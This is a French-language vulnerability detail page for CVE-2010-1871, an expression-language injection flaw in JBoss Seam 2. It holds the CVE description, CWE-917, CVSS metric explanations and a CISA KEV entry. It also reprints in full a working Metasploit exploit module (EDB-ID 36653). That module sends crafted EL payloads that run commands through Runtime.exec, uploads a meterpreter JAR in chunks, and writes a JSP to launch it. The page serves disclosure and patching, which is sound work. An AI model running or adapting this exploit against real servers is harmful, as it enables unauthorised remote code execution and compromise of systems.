CVE-2010-1871 : Détail

CVE-2010-1871

8.8
/
Haute
A03-Injection
93.85%V4
Network
2010-08-04
19h00 +00:00
2025-02-10
19h33 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression Language (EL) expressions, which allows remote attackers to execute arbitrary code via a crafted URL. NOTE: this is only a vulnerability when the Java Security Manager is not properly configured.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-12-09 23h00 +00:00

Action attendue : 2022-06-09 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 36653

Date de publication : 2015-04-05 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute a meterpreter payload. Versions of the JBoss AS admin-console are known to be vulnerable to this exploit, without requiring authentication. Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. This module provides a more efficient method of exploitation - it does not loop to find desired Java classes and methods. NOTE: the check for upload success is not 100% accurate. NOTE 2: The module uploads the meterpreter JAR and a JSP to launch it. }, 'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ], 'References' => [ # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs ['CVE', '2010-1871'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform' => %w{ java }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ], self.class) end def check vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) vprint_debug("Server sent a 302 with location") if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) report_vuln({ :host => rhost, :port => rport, :name => "#{self.name} - #{uri}", :refs => self.references, :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end # If we reach this point, we didn't find the service return Exploit::CheckCode::Unknown end def execute_cmd(cmd) cmd_to_run = Rex::Text.uri_encode(cmd) vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) vprint_status("#{rhost}:#{rport} Exploit successful") else vprint_status("#{rhost}:#{rport} Exploit failed.") end else vprint_status("#{rhost}:#{rport} Exploit failed.") end end def call_jsp(jspname) # TODO ugly way to strip off last resource on a path uri = target_uri.path *keep,ignore = uri.split(/\//) keep.push(jspname) uri = keep.join("/") uri = "/" + uri if (uri[0] != "/") res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) vprint_status("Successful request to JSP") else vprint_error("Failed to request JSP") end end def upload_jsp(filename,jarname) jsp_text = <<EOJSP <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP vprint_status("Uploading JSP to launch payload") status = upload_file_chunk(filename,'false',jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else vprint_error("Failed to upload file.") end @pl_sent = true end def upload_file_chunk(filename, append='false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) b64 = b64.gsub("+","%2b") b64 = b64.gsub("/","%2f") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # TODO Including the conversationId part in this regex might cause # failure on other Seam applications. Needs more testing if (res.headers['Location'] =~ %r(user=&conversationId)) #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end end def get_full_path(filename) #vprint_debug("Trying to find full path for #{filename}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file matches = /.*user=(.+)\&.*/.match(res.headers['Location']) #vprint_debug("Location is " + res.headers['Location']) if (matches and matches.captures) return Rex::Text::uri_decode(matches.captures[0]) else return nil end else return nil end end def java_stager(fname, chunk_size) @payload_exe = fname + ".jar" jsp_name = fname + ".jsp" #data = payload.encoded_jar.pack data = payload.encoded_jar.pack append = 'false' while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status vprint_debug("Uploaded chunk") else vprint_error("Failed to upload chunk") break end data = data[chunk_size, data.length - chunk_size] # first chunk is an overwrite, afterwards, we need to append append = 'true' end status = upload_file_chunk(@payload_exe, 'true', data) if status vprint_status("Payload uploaded to " + @payload_exe) else vprint_error("Failed to upload file.") end # write a JSP that can call the payload in the jar upload_jsp(jsp_name, @payload_exe) pe_path = get_full_path(@payload_exe) || @payload_exe jsp_path = get_full_path(jsp_name) || jsp_name # try to clean up our stuff; register_files_for_cleanup(pe_path, jsp_path) # call the JSP to launch the payload call_jsp(jsp_name) end def exploit @pl_sent = false if check == Exploit::CheckCode::Vulnerable fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) vprint_error("Invalid chunk size #{chunk_size}") return end vprint_debug("Sending in chunks of #{chunk_size}") case target['Platform'] when 'java' java_stager(fname, chunk_size) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler end end end

Products Mentioned

Configuraton 0

Redhat>>Jboss_enterprise_application_platform >> Version 4.3.0

Redhat>>Enterprise_linux >> Version 4

Redhat>>Enterprise_linux >> Version 5

Configuraton 0

Netapp>>Oncommand_balance >> Version -

Netapp>>Oncommand_insight >> Version -

Netapp>>Oncommand_unified_manager >> Version -

Références

http://www.securityfocus.com/bid/41994
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id?1024253
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2010/1929
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2010-0564.html
Tags : vendor-advisory, x_refsource_REDHAT